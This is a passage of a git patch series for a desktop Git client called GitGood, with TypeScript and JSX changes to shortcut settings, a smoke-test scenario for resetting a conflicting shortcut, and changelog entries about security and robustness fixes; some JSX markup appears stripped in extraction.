as strings. - */ -export function compareVersions(a: string, b: string): number { - const pa = parseVersion(a); - const pb = parseVersion(b); - const len = Math.max(pa.parts.length, pb.parts.length); - for (let i = 0; i < len; i++) { - const na = pa.parts[i] ?? 0; - const nb = pb.parts[i] ?? 0; - if (na !== nb) return na < nb ? -1 : 1; - } - if (pa.prerelease === pb.prerelease) return 0; - if (pa.prerelease === null) return 1; // a is a release, b is a prerelease of the same core version: a is newer - if (pb.prerelease === null) return -1; - return pa.prerelease < pb.prerelease ? -1 : 1; -} - /** True when `candidate` is strictly newer than `current`. Never offers a downgrade or the same version. */ export function isNewerVersion(current: string, candidate: string): boolean { return compareVersions(candidate, current) > 0; diff --git a/src/renderer/src/components/ChangesTab.tsx b/src/renderer/src/components/ChangesTab.tsx index 2ec2829..fd88ba5 100644 --- a/src/renderer/src/components/ChangesTab.tsx +++ b/src/renderer/src/components/ChangesTab.tsx @@ -370,6 +370,9 @@ function CommitForm(): React.JSX.Element { {aiAvailable ? ( + ) : null} {aiAvailable ? ( {shortcuts[id] ? : null} - {Object.hasOwn(overrides, id) ? : null} + {Object.hasOwn(overrides, id) ? : null} ))} diff --git a/test/smoke/scenarios/36-shortcut-reset-conflict.json b/test/smoke/scenarios/36-shortcut-reset-conflict.json new file mode 100644 index 0000000..40548d8 --- /dev/null +++ b/test/smoke/scenarios/36-shortcut-reset-conflict.json @@ -0,0 +1,16 @@ +{ + "name": "shortcut-reset-conflict", + "repoKind": "none", + "steps": [ + { + "js": "(async () => { const { actions, store } = window.__gitgood; const wait = async (fn) => { for (let i = 0; i < 100; i++) { const value = fn(); if (value) return value; await new Promise(r => setTimeout(r, 50)); } throw new Error('Shortcut reset did not settle'); }; await actions.updateSettings({ shortcuts: { push: 'CmdOrCtrl+Alt+P', find: 'CmdOrCtrl+P' } }); await actions.handleMenuAction('keyboard-shortcuts'); const reset = await wait(() => document.querySelector('[aria-label=\"Reset shortcut for Push\"]')); reset.click(); const confirm = await wait(() => document.querySelector('[role=dialog] .callout button.primary')); const before = store.get().settings.shortcuts; const unchangedBeforeConsent = before.push === 'CmdOrCtrl+Alt+P' && before.find === 'CmdOrCtrl+P'; confirm.click(); await wait(() => store.get().settings.shortcuts.find === null); const after = store.get().settings.shortcuts; return JSON.stringify({ unchangedBeforeConsent, pushReset: !Object.hasOwn(after, 'push'), findUnbound: after.find === null }); })()", + "dump": "result.json" + }, + { "shot": "resolved.png" } + ], + "expect": [ + { "dump": "result.json", "jsonPath": "unchangedBeforeConsent", "equals": true }, + { "dump": "result.json", "jsonPath": "pushReset", "equals": true }, + { "dump": "result.json", "jsonPath": "findUnbound", "equals": true } + ] +} From 4951ee495f823fd73eb080c788b6e8f3956fc3bd Mon Sep 17 00:00:00 2001 From: Erwin Wee Date: Fri, 2 Oct 2026 00:23:36 +0800 Subject: [PATCH 17/17] docs: record fixes from local branch review --- CHANGELOG.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e386d60..4fd4590 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -54,6 +54,17 @@ A security, privacy and robustness pass over the whole app, plus the features th ### Fixed +- Undo groups exactly one rebase, including GitGood's pull-with-rebase command, and restores the pre-operation commit. +- Release publishing uploads files inside downloaded version directories, including filenames containing spaces, and refuses an empty asset set. +- AI secret-file exclusion decodes Git-quoted paths and checks both sides of a rename. +- Concurrent AI requests retain per-client cancellation and remain visible to the update gate until every job settles. +- Linked worktrees inherit their main repository's AI opt-out and selected GitHub account. +- Agent templates are validated against the selected shell; escaped quotes, unbalanced quotes and command-substitution placeholders are rejected before execution. +- Push Stack resolves a publishing remote rather than pushing to `.`, and preserves existing local parent-tracking relationships. +- Update installation checks every open repository, not only the last-opened window. +- Resetting a keyboard shortcut asks before unbinding a conflicting action. +- Compare preserves rename metadata and displays only the actual changed lines. + - The diff line-number gutter now meets contrast guidelines. - Several AI services shared one cancel controller, so cancelling one (or, in server mode, another client's job) could abort an unrelated request; each now cancels only its own. - Git commands stayed blocked for several seconds after launch on machines where `claude --version` or `gh --version` is slow.
{label} - {keys.split(' / ').map((k, i) => ( - - {i > 0 ? ' / ' : ''} - {k} - - ))} + {recording === id ? Press the new keys… (Esc cancels) : shortcuts[id] ? {formatAccelerator(shortcuts[id], isMac)} : Unassigned}{' '} + + {shortcuts[id] ? : null} + {Object.hasOwn(overrides, id) ? : null}